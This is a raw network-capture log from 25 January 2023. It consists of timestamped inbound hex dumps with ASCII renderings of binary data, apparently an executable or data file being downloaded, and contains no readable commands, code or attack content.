2023-01-25 20:04:37 UTC	6780	IN	Data Raw: 5c 03 5b 04 5c 02 03 25 02 07 59 02 5c 10 5b 05 02 0e 5c 07 01 28 5b 06 5c 06 5b 04 5c 02 01 25 b9 01 06 60 02 5c 10 5b 05 02 0e 5c 07 01 28 5b 06 5c 03 5b 04 5c 02 bb 01 35 03 0a 00 0c 29 07 06 0e 0a 0b 10 01 15 02 1d 01 0b 02 03 0c 06 0b 03 0c 04 0d 2d 0e 0a 0b 10 01 15 02 1d 01 0b 02 03 0c 06 0b 03 0c 04 0d 2d 0e 0a 0b 10 01 15 02 1f 01 0b 02 03 0c 06 0b 07 0c 04 0d 2d 0e 0a 0b 10 01 1a 02 20 01 0b 02 03 0c 06 0b 07 0c 04 0d 2d 0e 0a 0b 10 01 1a 02 20 01 0b 02 03 0c 06 0b 07 0c 04 0d 2d 0e 0a 0b 10 01 1a 02 20 01 0b 02 03 0c 06 0b 07 0c 04 0d 2d 0e 0a 0b 10 01 1a 02 20 01 0b 02 03 0c 06 0b 07 0c 04 0d 2d 0e 02 0b 10 0c 08 0d 1a 02 20 01 0b 02 03 0c 06 0b 07 0c 04 0d 2d 0e 0a 0b 10 01 1a 02 20 01 0b 02 03 0c 06 0b 07 0c 04 0d 2d 0e 0a 0b 10 01 1a 02 20 Data Ascii: \[\%Y\[\([\[\%`\[\([\[\5)--- - - - - - -
2023-01-25 20:04:37 UTC	6796	IN	Data Raw: 00 b0 29 03 00 e0 f5 09 00 08 2a 03 00 00 f6 09 00 60 2a 03 00 20 f6 09 00 b8 2a 03 00 40 f6 09 00 10 2b 03 00 60 f6 09 00 68 2b 03 00 c0 f6 09 00 c0 2b 03 00 20 f7 09 00 18 2c 03 00 40 f7 09 00 70 2c 03 00 60 f7 09 00 c8 2c 03 00 80 f7 09 00 20 2d 03 00 a0 f7 09 00 78 2d 03 00 c0 f7 09 00 d0 2d 03 00 e0 f7 09 00 28 2e 03 00 00 f8 09 00 80 2e 03 00 20 f8 09 00 d8 2e 03 00 40 f8 09 00 30 2f 03 00 60 f8 09 00 88 2f 03 00 c0 f8 09 00 e0 2f 03 00 60 f9 09 00 38 30 03 00 80 f9 09 00 90 30 03 00 a0 f9 09 00 e8 30 03 00 c0 f9 09 00 40 31 03 00 e0 f9 09 00 98 31 03 00 00 fa 09 00 f0 31 03 00 20 fa 09 00 48 32 03 00 40 fa 09 00 a0 32 03 00 a0 fa 09 00 f8 32 03 00 c0 fa 09 00 50 33 03 00 20 fb 09 00 a8 33 03 00 80 fb 09 00 00 34 03 00 e0 fb 09 00 58 34 03 00 00 fc Data Ascii: )` *@+`h++ ,@p,`, -x--(.. .@0/`//`8000@111 H2@22P3 34X4
2023-01-25 20:04:37 UTC	6812	IN	Data Raw: 00 58 d5 05 00 80 99 1a 00 b0 d5 05 00 c0 9a 1a 00 08 d6 05 00 80 9b 1a 00 60 d6 05 00 a0 9e 1a 00 b8 d6 05 00 40 a2 1a 00 10 d7 05 00 20 a3 1a 00 68 d7 05 00 a0 a3 1a 00 c0 d7 05 00 40 a8 1a 00 18 d8 05 00 00 ad 1a 00 70 d8 05 00 a0 ad 1a 00 b8 d8 05 00 c0 af 1a 00 e0 d8 05 00 80 f8 1a 00 28 d9 05 00 a0 4a 1b 00 70 d9 05 00 c0 4a 1b 00 c8 d9 05 00 e0 4a 1b 00 20 da 05 00 40 4b 1b 00 78 da 05 00 60 4b 1b 00 d0 da 05 00 80 4b 1b 00 28 db 05 00 a0 4b 1b 00 80 db 05 00 60 4c 1b 00 d8 db 05 00 c0 4d 1b 00 30 dc 05 00 20 4f 1b 00 88 dc 05 00 80 50 1b 00 e0 dc 05 00 c0 51 1b 00 38 dd 05 00 c0 52 1b 00 90 dd 05 00 c0 53 1b 00 e8 dd 05 00 e0 54 1b 00 40 de 05 00 e0 55 1b 00 98 de 05 00 a0 57 1b 00 f0 de 05 00 40 59 1b 00 48 df 05 00 e0 59 1b 00 a0 df 05 00 60 5a Data Ascii: X`@ h@p(JpJJ @Kx`KK(K`LM0 OPQ8RST@UW@YHY`Z
2023-01-25 20:04:37 UTC	6828	IN	Data Raw: 00 00 80 08 00 a0 bf 2a 00 58 80 08 00 e0 c2 2a 00 b0 80 08 00 40 c3 2a 00 00 81 08 00 20 c5 2a 00 58 81 08 00 80 c5 2a 00 a8 81 08 00 60 c7 2a 00 00 82 08 00 a0 c7 2a 00 58 82 08 00 c0 c7 2a 00 98 82 08 00 e0 c7 2a 00 d8 82 08 00 00 c8 2a 00 18 83 08 00 20 c8 2a 00 58 83 08 00 40 c8 2a 00 98 83 08 00 a0 ca 2a 00 f0 83 08 00 e0 fb 2a 00 38 84 08 00 40 fc 2a 00 90 84 08 00 a0 fc 2a 00 e8 84 08 00 00 fd 2a 00 40 85 08 00 a0 fd 2a 00 98 85 08 00 40 fe 2a 00 f0 85 08 00 a0 fe 2a 00 48 86 08 00 20 ff 2a 00 a0 86 08 00 a0 ff 2a 00 f8 86 08 00 40 00 2b 00 50 87 08 00 c0 00 2b 00 a8 87 08 00 40 01 2b 00 00 88 08 00 e0 01 2b 00 58 88 08 00 c0 02 2b 00 b0 88 08 00 80 03 2b 00 08 89 08 00 a0 03 2b 00 60 89 08 00 a0 04 2b 00 b8 89 08 00 c0 04 2b 00 10 8a 08 00 a0 05 Data Ascii: X@* X`X* X@8@@@H @+P+@++X+++`++
2023-01-25 20:04:37 UTC	6844	IN	Data Raw: ff ff ff ff ff ff ff ff ff 89 06 00 00 20 00 00 00 00 00 00 00 20 2a 00 00 a6 07 00 00 10 00 00 00 00 00 00 00 41 0c 00 00 48 0c 00 00 4c 0c 00 00 04 00 00 00 18 00 00 00 00 00 00 07 53 0c 00 00 58 0c 00 00 00 00 00 00 5d 0c 00 00 bc 1d 00 00 88 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 89 06 00 00 20 00 00 00 00 00 00 00 60 2a 00 00 bd 07 00 00 10 00 00 00 00 00 00 00 62 0c 00 00 69 0c 00 00 6d 0c 00 00 04 00 00 00 18 00 00 00 00 00 00 07 74 0c 00 00 7f 0c 00 00 00 00 00 00 86 0c 00 00 bc 1d 00 00 88 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 89 06 00 00 20 00 00 00 00 00 00 00 c0 2a 00 00 d5 07 00 00 10 00 00 00 00 00 00 00 8b 0c 00 00 9a 0c 00 00 a3 0c 00 00 04 00 00 00 18 00 00 00 00 00 00 07 c3 0c 00 00 cf 0c 00 00 dd 0c 00 00 d7 0c 00 00 bc 1d Data Ascii: AHLSX] `bimt *
2023-01-25 20:04:37 UTC	6860	IN	Data Raw: ff dc d3 03 00 ff ff ff ff d1 07 00 00 c6 01 00 00 00 00 00 00 40 4e 01 00 e3 21 00 00 28 00 00 00 00 00 00 00 7a 81 00 00 82 81 00 00 a2 81 00 00 04 00 00 00 18 00 00 00 00 00 00 07 28 82 00 00 2e 82 00 00 3f 82 00 00 37 82 00 00 28 23 00 00 5c 2b 00 00 ff ff ff ff 74 b4 02 00 ff ff ff ff 7d 2b 00 00 5c 00 00 00 00 00 00 00 e0 4f 01 00 fd 21 00 00 20 00 00 00 00 00 00 00 66 82 00 00 7a 82 00 00 8e 82 00 00 04 00 00 00 18 00 00 00 00 00 00 07 fd 82 00 00 03 83 00 00 30 83 00 00 1b 83 00 00 40 38 00 00 0c 30 00 00 ff ff ff ff 64 cd 01 00 ff ff ff ff ec 17 00 00 5c 06 00 00 00 00 00 00 20 52 01 00 19 22 00 00 20 00 00 00 00 00 00 00 48 83 00 00 58 83 00 00 5c 83 00 00 04 00 00 00 18 00 00 00 00 00 00 07 92 83 00 00 9e 83 00 00 b2 83 00 00 ac 83 00 00 d4 2e Data Ascii: @N!(z(.?7(#\+t}+\O! fz0@80d\ R" HX\.
2023-01-25 20:04:37 UTC	6876	IN	Data Raw: 00 00 00 00 07 d7 d6 00 00 4d ff 00 00 00 00 00 00 4b 3f 00 00 c8 0b 00 00 c8 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 89 06 00 00 20 00 00 00 00 00 00 00 60 90 02 00 6c 47 00 00 00 00 00 00 00 00 00 00 54 ff 00 00 5b ff 00 00 6e ff 00 00 03 00 00 00 18 00 00 00 00 00 00 04 22 9c 00 00 8a ff 00 00 91 ff 00 00 c8 0b 00 00 c8 0b 00 00 ff ff ff ff e0 35 02 00 00 00 00 00 c0 90 02 00 8c 47 00 00 18 00 00 00 00 00 00 00 a0 ff 00 00 a7 ff 00 00 ba ff 00 00 04 00 00 00 18 00 00 00 00 00 00 07 d6 ff 00 00 e1 ff 00 00 ef ff 00 00 e8 ff 00 00 c8 0b 00 00 c8 0b 00 00 ff ff ff ff 30 36 02 00 ff ff ff ff 45 07 00 00 5f 00 00 00 00 00 00 00 40 91 02 00 a8 47 00 00 18 00 00 00 00 00 00 00 fe ff 00 00 0f 00 01 00 1c 00 01 00 04 00 00 00 18 00 00 00 00 00 00 07 c0 00 Data Ascii: MK? `lGT[n"5G06E_@G
2023-01-25 20:04:37 UTC	6892	IN	Data Raw: 00 00 00 00 02 fe 57 01 00 0a 58 01 00 c8 0b 00 00 c8 0b 00 00 60 93 03 00 86 62 00 00 20 00 00 00 00 00 00 00 15 58 01 00 5c 58 01 00 91 58 01 00 04 00 00 00 18 00 00 00 00 00 00 07 48 59 01 00 54 59 01 00 80 59 01 00 73 59 01 00 c4 62 00 00 24 6a 00 00 ff ff ff ff b8 51 03 00 ff ff ff ff ec 17 00 00 53 00 00 00 00 00 00 00 20 97 03 00 b3 62 00 00 18 00 00 00 00 00 00 00 bc 59 01 00 c8 59 01 00 cc 59 01 00 04 00 00 00 18 00 00 00 00 00 00 07 f9 59 01 00 05 5a 01 00 00 00 00 00 13 5a 01 00 bc 1d 00 00 88 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff f8 14 00 00 20 00 00 00 00 00 00 00 a0 98 03 00 ca 62 00 00 00 00 00 00 00 00 00 00 1b 5a 01 00 22 5a 01 00 2c 5a 01 00 03 00 00 00 18 00 00 00 00 00 00 04 46 5a 01 00 51 5a 01 00 58 5a 01 00 88 0b 00 00 5c 1a Data Ascii: WX`b X\XXHYTYYsYb$jQS bYYYYZZ bZ"Z,ZFZQZXZ\
2023-01-25 20:04:37 UTC	6908	IN	Data Raw: 00 43 78 00 00 08 00 00 00 00 00 00 00 7e ca 01 00 96 ca 01 00 d3 ca 01 00 04 00 00 00 18 00 00 00 00 00 00 07 89 cb 01 00 95 cb 01 00 b9 cb 01 00 ab cb 01 00 88 0b 00 00 5c 1a 00 00 ff ff ff ff 18 70 04 00 ff ff ff ff ba 01 00 00 20 00 00 00 00 00 00 00 80 cb 04 00 68 78 00 00 10 00 00 00 00 00 00 00 f6 cb 01 00 0d cc 01 00 54 cc 01 00 04 00 00 00 18 00 00 00 00 00 00 07 14 cd 01 00 20 cd 01 00 40 cd 01 00 3a cd 01 00 f8 0b 00 00 ec 22 00 00 ff ff ff ff 18 d0 04 00 ff ff ff ff 84 07 00 00 20 00 00 00 00 00 00 00 80 ce 04 00 7a 78 00 00 28 00 00 00 00 00 00 00 8f cd 01 00 9f cd 01 00 b3 cd 01 00 04 00 00 00 18 00 00 00 00 00 00 07 11 ce 01 00 1d ce 01 00 31 ce 01 00 2b ce 01 00 c8 3a 00 00 34 3e 00 00 ff ff ff ff 50 d2 01 00 ff ff ff ff 4a 58 00 00 20 00 Data Ascii: Cx~\p hxT @:" zx(1+:4>PJX
2023-01-25 20:04:37 UTC	6924	IN	Data Raw: 00 d5 8c 00 00 10 00 00 00 00 00 00 00 9c 29 02 00 a3 29 02 00 a6 29 02 00 04 00 00 00 18 00 00 00 00 00 00 07 ae 29 02 00 b9 29 02 00 00 00 00 00 c0 29 02 00 bc 1d 00 00 88 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 84 07 00 00 20 00 00 00 00 00 00 00 c0 01 06 00 e0 8c 00 00 10 00 00 00 00 00 00 00 c5 29 02 00 cc 29 02 00 cf 29 02 00 04 00 00 00 18 00 00 00 00 00 00 07 d9 29 02 00 2b 04 00 00 00 00 00 00 e4 29 02 00 bc 1d 00 00 88 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 84 07 00 00 20 00 00 00 00 00 00 00 20 02 06 00 eb 8c 00 00 00 00 00 00 00 00 00 00 1c 03 00 00 e9 29 02 00 ec 29 02 00 01 00 00 00 18 00 00 00 00 00 00 02 26 03 00 00 c8 0b 00 00 c8 0b 00 00 00 00 00 00 40 02 06 00 01 8d 00 00 00 00 00 00 00 00 00 00 f0 29 02 00 f7 29 02 00 fa 29 Data Ascii: )))))) ))))+) ))&@)))
2023-01-25 20:04:37 UTC	6940	IN	Data Raw: ff ff ff ff ff ff ff ff ff 89 06 00 00 20 00 00 00 00 00 00 00 00 b9 06 00 28 a2 00 00 10 00 00 00 00 00 00 00 be 60 02 00 04 61 02 00 20 61 02 00 04 00 00 00 a5 00 00 00 00 00 00 07 a7 61 02 00 d9 61 02 00 0c 62 02 00 06 62 02 00 e8 f4 00 00 84 2e 01 00 38 10 01 00 54 b0 03 00 ff ff ff ff 84 07 00 00 20 00 00 00 00 00 00 00 20 bf 06 00 45 a3 00 00 10 00 00 00 00 00 00 00 34 62 02 00 44 62 02 00 53 62 02 00 04 00 00 00 a5 00 00 00 00 00 00 07 79 62 02 00 85 62 02 00 9d 62 02 00 94 62 02 00 f8 0b 00 00 e8 26 00 00 ff ff ff ff d0 40 02 00 ff ff ff ff 89 06 00 00 53 00 00 00 00 00 00 00 20 c0 06 00 9e a3 00 00 10 00 00 00 00 00 00 00 ac 62 02 00 b5 62 02 00 b8 62 02 00 04 00 00 00 a5 00 00 00 00 00 00 07 00 00 00 00 bb 62 02 00 00 00 00 00 c0 62 02 00 c8 0b Data Ascii: (`a aaabb.8T E4bDbSbybbbb&@S bbbbb
2023-01-25 20:04:37 UTC	6956	IN	Data Raw: ff 68 59 00 00 a5 01 00 00 00 00 00 00 40 c4 07 00 ad bb 00 00 20 00 00 00 00 00 00 00 99 ae 02 00 a7 ae 02 00 ab ae 02 00 04 00 00 00 ff 00 00 00 00 00 00 07 00 00 00 00 11 af 02 00 00 00 00 00 17 af 02 00 bc 1d 00 00 88 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 0a 78 00 00 20 00 00 00 00 00 00 00 40 c6 07 00 c1 bb 00 00 18 00 00 00 00 00 00 00 1d af 02 00 2c af 02 00 30 af 02 00 04 00 00 00 ff 00 00 00 00 00 00 07 52 af 02 00 5e af 02 00 6c af 02 00 66 af 02 00 c8 0b 00 00 c8 0b 00 00 ff ff ff ff 8c a6 00 00 ff ff ff ff 0b 08 00 00 20 00 00 00 00 00 00 00 20 c7 07 00 ef bb 00 00 18 00 00 00 00 00 00 00 73 af 02 00 83 af 02 00 87 af 02 00 04 00 00 00 ff 00 00 00 00 00 00 07 b9 af 02 00 c5 af 02 00 d3 af 02 00 cd af 02 00 c8 0b 00 00 c8 0b 00 00 ff ff Data Ascii: hY@ x @,0R^lf s
2023-01-25 20:04:37 UTC	6972	IN	Data Raw: ff 60 aa 00 00 ff ff ff ff f8 14 00 00 20 00 00 00 00 00 00 00 80 82 09 00 09 d2 00 00 18 00 00 00 00 00 00 00 26 1e 03 00 4f 00 03 00 33 1e 03 00 04 00 00 00 1b 01 00 00 00 00 00 07 62 69 02 00 45 1e 03 00 4c 1e 03 00 7c 00 03 00 4c 1b 00 00 88 0b 00 00 ff ff ff ff 74 aa 00 00 ff ff ff ff f8 14 00 00 20 00 00 00 00 00 00 00 60 83 09 00 27 d2 00 00 18 00 00 00 00 00 00 00 57 1e 03 00 b6 f3 02 00 66 1e 03 00 04 00 00 00 1b 01 00 00 00 00 00 07 d4 f3 02 00 86 1e 03 00 93 1e 03 00 f1 f3 02 00 f0 36 00 00 20 2e 00 00 ff ff ff ff f4 50 01 00 ff ff ff ff f8 14 00 00 20 00 00 00 00 00 00 00 60 84 09 00 3d d2 00 00 30 00 00 00 00 00 00 00 a6 1e 03 00 b6 1e 03 00 ba 1e 03 00 04 00 00 00 1b 01 00 00 00 00 00 07 da 1e 03 00 ea 1e 03 00 fd 1e 03 00 f7 1e 03 00 a4 31 Data Ascii: ` &O3biEL\|Lt `'Wf6 .P `=01
2023-01-25 20:04:38 UTC	6988	IN	Data Raw: 00 88 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 89 06 00 00 20 00 00 00 00 00 00 00 20 fe 09 00 39 e4 00 00 08 00 00 00 00 00 00 00 0b 03 00 00 0b 03 00 00 0e 03 00 00 04 00 00 00 1b 01 00 00 00 00 00 07 00 00 00 00 68 3e 03 00 00 00 00 00 0e 03 00 00 bc 1d 00 00 88 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 59 00 00 00 20 00 00 00 00 00 00 00 40 fe 09 00 54 e4 00 00 08 00 00 00 00 00 00 00 0b 03 00 00 0b 03 00 00 0e 03 00 00 04 00 00 00 1b 01 00 00 00 00 00 07 00 00 00 00 68 3e 03 00 00 00 00 00 0e 03 00 00 bc 1d 00 00 88 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 59 00 00 00 20 00 00 00 00 00 00 00 60 fe 09 00 6c e4 00 00 08 00 00 00 00 00 00 00 0b 03 00 00 0b 03 00 00 0e 03 00 00 04 00 00 00 1b 01 00 00 00 00 00 07 00 00 00 00 68 3e 03 00 00 00 Data Ascii: 9h>Y @Th>Y `lh>
2023-01-25 20:04:38 UTC	7004	IN	Data Raw: 00 04 00 00 00 a7 01 00 00 00 00 00 07 4e 90 03 00 6a 90 03 00 88 90 03 00 80 90 03 00 44 61 00 00 84 69 00 00 ff ff ff ff 94 56 01 00 ff ff ff ff 84 07 00 00 20 00 00 00 00 00 00 00 60 87 0b 00 3c fc 00 00 18 00 00 00 00 00 00 00 a2 90 03 00 bf 90 03 00 cf 90 03 00 04 00 00 00 a7 01 00 00 00 00 00 07 0c 91 03 00 31 91 03 00 4c 91 03 00 44 91 03 00 38 57 00 00 60 93 00 00 40 14 01 00 e4 ad 00 00 ff ff ff ff 6a 18 00 00 20 00 00 00 00 00 00 00 60 8a 0b 00 6e fc 00 00 20 00 00 00 00 00 00 00 5c 91 03 00 37 02 00 00 63 91 03 00 04 00 00 00 a7 01 00 00 00 00 00 07 6b 91 03 00 76 91 03 00 00 00 00 00 7d 91 03 00 4c 1b 00 00 88 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 62 20 00 00 20 00 00 00 00 00 00 00 00 8b 0b 00 83 fc 00 00 08 00 00 00 20 01 00 00 82 91 Data Ascii: NjDaiV `<1LD8W`@j `n \7ckv}Lb
2023-01-25 20:04:38 UTC	7020	IN	Data Raw: 00 00 00 00 07 00 00 00 00 00 00 00 00 00 00 00 00 cc 70 03 00 c8 0b 00 00 c8 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 59 00 00 00 20 00 00 00 00 00 00 00 80 fe 0c 00 e7 0f 01 00 08 00 00 00 00 00 00 00 b9 fc 03 00 bc fc 03 00 bf fc 03 00 04 00 00 00 d2 01 00 00 00 00 00 07 00 00 00 00 00 00 00 00 00 00 00 00 c7 fc 03 00 c8 0b 00 00 c8 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 59 00 00 00 20 00 00 00 00 00 00 00 e0 fe 0c 00 fb 0f 01 00 10 00 00 00 00 00 00 00 b1 2a 02 00 ca fc 03 00 cd fc 03 00 04 00 00 00 d2 01 00 00 00 00 00 07 00 00 00 00 00 00 00 00 00 00 00 00 42 4d 02 00 c8 0b 00 00 c8 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 89 06 00 00 20 00 00 00 00 00 00 00 00 ff 0c 00 12 10 01 00 10 00 00 00 00 00 00 00 e8 32 03 00 d5 fc 03 00 d8 fc Data Ascii: pY Y *BM 2
2023-01-25 20:04:38 UTC	7036	IN	Data Raw: 00 04 00 00 00 13 02 00 00 00 00 00 07 bc e0 02 00 c7 e0 02 00 00 00 00 00 cb 3c 04 00 18 1c 00 00 88 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 62 20 00 00 20 00 00 00 00 00 00 00 00 f6 0d 00 18 25 01 00 28 00 00 00 20 02 00 00 e0 3c 04 00 fc 3c 04 00 18 3d 04 00 04 00 00 00 13 02 00 00 00 00 00 07 76 3d 04 00 82 3d 04 00 98 3d 04 00 90 3d 04 00 b8 26 00 00 50 2b 00 00 c8 a8 01 00 78 0e 03 00 a8 01 00 00 d9 58 00 00 a5 01 00 00 00 00 00 00 80 f8 0d 00 36 25 01 00 00 00 00 00 00 00 00 00 d9 13 00 00 c0 3d 04 00 c3 3d 04 00 02 00 00 00 13 02 00 00 15 00 00 08 ac 79 02 00 f4 13 00 00 c8 0b 00 00 c8 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff e4 02 00 00 e0 f8 0d 00 5a 25 01 00 10 00 00 00 2f 01 00 00 c7 3d 04 00 dd 3d 04 00 f4 3d Data Ascii: <b %( <<=v====&P+xX6%==yZ%/===
2023-01-25 20:04:38 UTC	7052	IN	Data Raw: ff ff ff ff ff ff ff ff ff 78 04 00 00 20 fe 0e 00 11 3e 01 00 00 00 00 00 00 00 00 00 6d 9f 00 00 c1 7f 04 00 c4 7f 04 00 02 00 00 00 30 02 00 00 00 00 00 02 cb 7f 04 00 8c 9f 00 00 c8 0b 00 00 c8 0b 00 00 60 fe 0e 00 1d 3e 01 00 00 00 00 00 00 00 00 00 d6 7f 04 00 ee 7f 04 00 fd 7f 04 00 03 00 00 00 30 02 00 00 00 00 00 04 22 80 04 00 36 80 04 00 49 80 04 00 f8 0b 00 00 78 24 00 00 ff ff ff ff 14 5e 01 00 00 00 00 00 20 00 0f 00 3c 3e 01 00 00 00 00 00 00 00 00 00 58 80 04 00 64 80 04 00 73 80 04 00 03 00 00 00 30 02 00 00 00 00 00 04 98 80 04 00 a4 80 04 00 ac 80 04 00 c8 0b 00 00 c8 0b 00 00 ff ff ff ff ec b4 00 00 00 00 00 00 20 01 0f 00 4a 3e 01 00 20 00 00 00 00 00 00 00 bb 80 04 00 d2 80 04 00 e3 80 04 00 04 00 00 00 30 02 00 00 00 00 00 07 2a 81 Data Ascii: x >m0`>0"6Ix$^ <>Xds0 J> 0*
2023-01-25 20:04:38 UTC	7068	IN	Data Raw: 00 f3 1e 02 00 b0 eb 04 00 04 00 00 00 b1 02 00 00 00 00 00 07 00 00 00 00 00 00 00 00 00 00 00 00 f3 1e 02 00 bc 1d 00 00 88 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 59 00 00 00 20 00 00 00 00 00 00 00 80 80 10 00 40 52 01 00 08 00 00 00 00 00 00 00 bb 02 00 00 be 02 00 00 b4 eb 04 00 04 00 00 00 b1 02 00 00 00 00 00 07 00 00 00 00 00 00 00 00 00 00 00 00 be 02 00 00 bc 1d 00 00 88 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 59 00 00 00 20 00 00 00 00 00 00 00 a0 80 10 00 54 52 01 00 10 00 00 00 00 00 00 00 b8 eb 04 00 f9 bb 02 00 c7 eb 04 00 04 00 00 00 b1 02 00 00 00 00 00 07 b0 6d 03 00 e9 eb 04 00 f0 eb 04 00 24 bc 02 00 bc 1d 00 00 88 0b 00 00 ff ff ff ff ac 61 01 00 ff ff ff ff 89 06 00 00 20 00 00 00 00 00 00 00 60 81 10 00 6d 52 01 00 08 00 Data Ascii: Y @RY TRm$a `mR
2023-01-25 20:04:38 UTC	7084	IN	Data Raw: 00 04 00 00 00 ca 02 00 00 00 00 00 07 97 57 05 00 a3 57 05 00 ca 57 05 00 bb 57 05 00 e8 43 00 00 c8 53 00 00 ff ff ff ff 10 6f 02 00 ff ff ff ff 3f 97 00 00 04 03 00 00 00 00 00 00 20 01 12 00 70 65 01 00 20 00 00 00 00 00 00 00 f5 57 05 00 ff 57 05 00 0e 58 05 00 04 00 00 00 ca 02 00 00 00 00 00 07 38 58 05 00 44 58 05 00 58 58 05 00 4f 58 05 00 bc 1d 00 00 88 0b 00 00 ff ff ff ff 9c b9 00 00 ff ff ff ff 6d 20 00 00 5c 00 00 00 00 00 00 00 20 02 12 00 82 65 01 00 40 00 00 00 00 00 00 00 67 58 05 00 7a 58 05 00 95 58 05 00 04 00 00 00 ca 02 00 00 00 00 00 07 a8 48 03 00 ef 58 05 00 0a 59 05 00 fd 58 05 00 a0 1b 00 00 88 0b 00 00 ff ff ff ff c8 f0 01 00 ff ff ff ff b5 fa 00 00 e6 00 00 00 00 00 00 00 e0 03 12 00 aa 65 01 00 60 00 00 00 00 00 00 00 29 59 Data Ascii: WWWWCSo? pe WWX8XDXXXOXm \ e@gXzXXHXYXe`)Y
2023-01-25 20:04:38 UTC	7100	IN	Data Raw: 00 d4 62 00 00 38 10 01 00 a8 b6 03 00 ff ff ff ff fe 94 00 00 53 00 00 00 00 00 00 00 c0 c3 13 00 7e 81 01 00 28 00 00 00 00 00 00 00 2d d0 05 00 44 d0 05 00 7d d0 05 00 04 00 00 00 26 03 00 00 00 00 00 07 1e d1 05 00 2a d1 05 00 59 d1 05 00 51 d1 05 00 54 80 00 00 14 81 00 00 30 a5 01 00 5c b7 03 00 ff ff ff ff 93 82 00 00 a5 01 00 00 00 00 00 00 60 c7 13 00 9a 81 01 00 10 00 00 00 00 00 00 00 9d d1 05 00 b7 d1 05 00 bb d1 05 00 04 00 00 00 26 03 00 00 00 00 00 07 00 00 00 00 05 d2 05 00 00 00 00 00 0b d2 05 00 bc 1d 00 00 88 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 84 07 00 00 20 00 00 00 00 00 00 00 60 c9 13 00 b6 81 01 00 28 00 00 00 00 00 00 00 11 d2 05 00 24 d2 05 00 37 d2 05 00 04 00 00 00 26 03 00 00 00 00 00 07 74 d2 05 00 80 d2 05 00 92 d2 Data Ascii: b8S~(-D}&*YQT0\`& `($7&t
2023-01-25 20:04:38 UTC	7116	IN	Data Raw: 00 9b 2f 06 00 9f 2f 06 00 02 00 00 00 55 03 00 00 00 00 00 06 be 2f 06 00 d6 2f 06 00 94 69 00 00 d4 5c 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 7a 28 01 00 00 91 15 00 64 a0 01 00 00 00 00 00 00 00 00 00 e6 2f 06 00 ee 2f 06 00 f2 2f 06 00 02 00 00 00 55 03 00 00 00 00 00 02 fd 2f 06 00 38 30 06 00 88 0b 00 00 5c 1a 00 00 a0 94 15 00 82 a0 01 00 10 00 00 00 00 00 00 00 ad 4d 02 00 b4 4d 02 00 b8 4d 02 00 04 00 00 00 55 03 00 00 00 00 00 07 2b 29 04 00 36 29 04 00 00 00 00 00 3f 29 04 00 4c 1b 00 00 88 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 89 06 00 00 20 00 00 00 00 00 00 00 40 95 15 00 b0 a0 01 00 48 00 00 00 00 00 00 00 42 30 06 00 53 30 06 00 57 30 06 00 04 00 00 00 65 03 00 00 00 00 00 07 d6 30 06 00 e2 30 06 00 00 00 00 00 ff 30 06 00 a0 27 Data Ascii: //U//i\z(d///U/80\MMMU+)6)?)L @HB0S0W0e000'
2023-01-25 20:04:38 UTC	7132	IN	Data Raw: 00 13 b2 06 00 5c 22 00 00 f8 0b 00 00 ff ff ff ff 84 f8 01 00 ff ff ff ff 89 06 00 00 20 00 00 00 00 00 00 00 e0 1e 18 00 e9 bf 01 00 18 00 00 00 00 00 00 00 3d b2 06 00 4e b2 06 00 57 b2 06 00 04 00 00 00 2d 04 00 00 00 00 00 07 42 b3 06 00 c4 b3 06 00 dd b3 06 00 d7 b3 06 00 94 32 00 00 c8 0a 01 00 b8 05 01 00 58 c1 00 00 ff ff ff ff f8 14 00 00 20 00 00 00 00 00 00 00 60 29 18 00 0f c0 01 00 00 00 00 00 00 00 00 00 e6 b3 06 00 ee b3 06 00 f8 b3 06 00 03 00 00 00 2d 04 00 00 00 00 00 04 21 b4 06 00 30 b4 06 00 3d b4 06 00 78 0b 00 00 e0 3a 00 00 ff ff ff ff 4c 6c 01 00 00 00 00 00 60 2a 18 00 33 c0 01 00 10 00 00 00 00 00 00 00 7e 2c 01 00 47 b4 06 00 2a 91 06 00 04 00 00 00 2d 04 00 00 00 00 00 07 b0 6d 03 00 4b 91 06 00 54 91 06 00 b2 2c 01 00 5c 22 Data Ascii: \" =NW-B2X `)-!0=x:Ll`3~,G-mKT,\"
2023-01-25 20:04:38 UTC	7148	IN	Data Raw: 00 15 00 00 07 a5 83 03 00 b0 83 03 00 00 00 00 00 b7 83 03 00 bc 1d 00 00 88 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 59 00 00 00 20 00 00 00 00 00 00 00 20 e1 19 00 76 e3 01 00 20 00 00 00 00 00 00 00 ec 88 02 00 a1 38 02 00 f5 88 02 00 04 00 00 00 07 05 00 00 15 00 00 07 f8 88 02 00 03 89 02 00 00 00 00 00 0a 89 02 00 4c 1b 00 00 88 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 62 20 00 00 20 00 00 00 00 00 00 00 a0 e1 19 00 9f e3 01 00 30 00 00 00 00 00 00 00 f6 25 07 00 bf b2 00 00 01 b3 00 00 04 00 00 00 07 05 00 00 15 00 00 07 ff 25 07 00 0a 26 07 00 00 00 00 00 11 26 07 00 0c 1c 00 00 88 0b 00 00 ff ff ff ff ff ff ff ff ff ff ff ff f5 6a 00 00 20 00 00 00 00 00 00 00 40 e2 19 00 c4 e3 01 00 40 00 00 00 00 00 00 00 16 26 07 00 3d 24 04 00 41 24 Data Ascii: Y v 8Lb 0%%&&j @@&=$A$
